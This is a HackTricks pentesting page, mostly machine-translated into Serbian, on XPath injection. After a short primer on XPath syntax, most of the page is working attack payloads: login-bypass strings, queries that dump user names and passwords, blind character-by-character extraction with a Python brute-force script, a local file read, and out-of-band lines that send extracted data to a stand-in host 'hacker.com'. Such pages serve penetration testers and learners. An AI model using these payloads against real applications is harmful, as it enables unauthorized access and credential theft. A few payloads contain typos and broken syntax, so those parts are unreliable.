hacktricks/pentesting-web/xpath-injection.md

13 KiB

XPATH injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Basic Syntax

Tehnika napada poznata kao XPath Injection se koristi za iskorišćavanje aplikacija koje formiraju XPath (XML Path Language) upite na osnovu korisničkog unosa za upit ili navigaciju XML dokumentima.

Nodes Described

Izrazi se koriste za selektovanje različitih čvorova u XML dokumentu. Ovi izrazi i njihovi opisi su sažeti u nastavku:

  • nodename: Svi čvorovi sa imenom "nodename" se selektuju.
  • /: Selekcija se vrši iz korenskog čvora.
  • //: Čvorovi koji odgovaraju selekciji iz trenutnog čvora se selektuju, bez obzira na njihovu lokaciju u dokumentu.
  • .: Trenutni čvor se selektuje.
  • ..: Roditeljski čvor trenutnog čvora se selektuje.
  • @: Atributi se selektuju.

XPath Examples

Primeri putanjskih izraza i njihovih rezultata uključuju:

  • bookstore: Svi čvorovi nazvani "bookstore" se selektuju.
  • /bookstore: Korenski element bookstore se selektuje. Napominje se da apsolutna putanja do elementa počinje sa kosom crtom (/).
  • bookstore/book: Svi book elementi koji su deca bookstore se selektuju.
  • //book: Svi book elementi u dokumentu se selektuju, bez obzira na njihovu lokaciju.
  • bookstore//book: Svi book elementi koji su potomci elementa bookstore se selektuju, bez obzira na njihovu poziciju pod elementom bookstore.
  • //@lang: Svi atributi nazvani lang se selektuju.

Utilization of Predicates

Predikati se koriste za preciziranje selekcija:

  • /bookstore/book[1]: Prvi book element dete elementa bookstore se selektuje. Rešenje za IE verzije 5 do 9, koje indeksiraju prvi čvor kao [0], je postavljanje SelectionLanguage na XPath putem JavaScript-a.
  • /bookstore/book[last()]: Poslednji book element dete elementa bookstore se selektuje.
  • /bookstore/book[last()-1]: Pretposlednji book element dete elementa bookstore se selektuje.
  • /bookstore/book[position()<3]: Prva dva book elementa deca elementa bookstore se selektuju.
  • //title[@lang]: Svi title elementi sa lang atributom se selektuju.
  • //title[@lang='en']: Svi title elementi sa "lang" atributom čija je vrednost "en" se selektuju.
  • /bookstore/book[price>35.00]: Svi book elementi bookstore sa cenom većom od 35.00 se selektuju.
  • /bookstore/book[price>35.00]/title: Svi title elementi book elemenata bookstore sa cenom većom od 35.00 se selektuju.

Handling of Unknown Nodes

Džokeri se koriste za usklađivanje nepoznatih čvorova:

  • *: Usklađuje se sa bilo kojim element čvorom.
  • @*: Usklađuje se sa bilo kojim atribut čvorom.
  • node(): Usklađuje se sa bilo kojim čvorom bilo koje vrste.

Dalji primeri uključuju:

  • /bookstore/*: Selektuje sve čvorove elementa deca elementa bookstore.
  • //*: Selektuje sve elemente u dokumentu.
  • //title[@*]: Selektuje sve title elemente sa najmanje jednim atributom bilo koje vrste.

Example

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Pristupite informacijama

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Identifikacija i krađa šeme

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Authentication Bypass

Primer upita:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

OR zaobići u korisniku i lozinki (ista vrednost u oba)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Zloupotreba null injekcije

Username: ' or 1]%00

Dupli OR u korisničkom imenu ili u lozinki (važi samo za 1 ranjivo polje)

VAŽNO: Obratite pažnju da je "and" prva operacija koja se izvršava.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Ekstrakcija stringova

Izlaz sadrži stringove i korisnik može manipulisati vrednostima za pretragu:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Blind Explotation

Dobijanje dužine vrednosti i njeno izdvajanje poređenjem:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Python Primer

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Čitaj fajl

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB Eksploatacija

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Automatski alat

Reference

Pridružite se HackenProof Discord serveru da komunicirate sa iskusnim hakerima i lovcima na greške!

Hacking Uvidi
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Vesti o hakovanju u realnom vremenu
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

Najnovija Obaveštenja
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi

Pridružite nam se na Discord i počnite da sarađujete sa vrhunskim hakerima danas!

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podrška HackTricks
{% endhint %}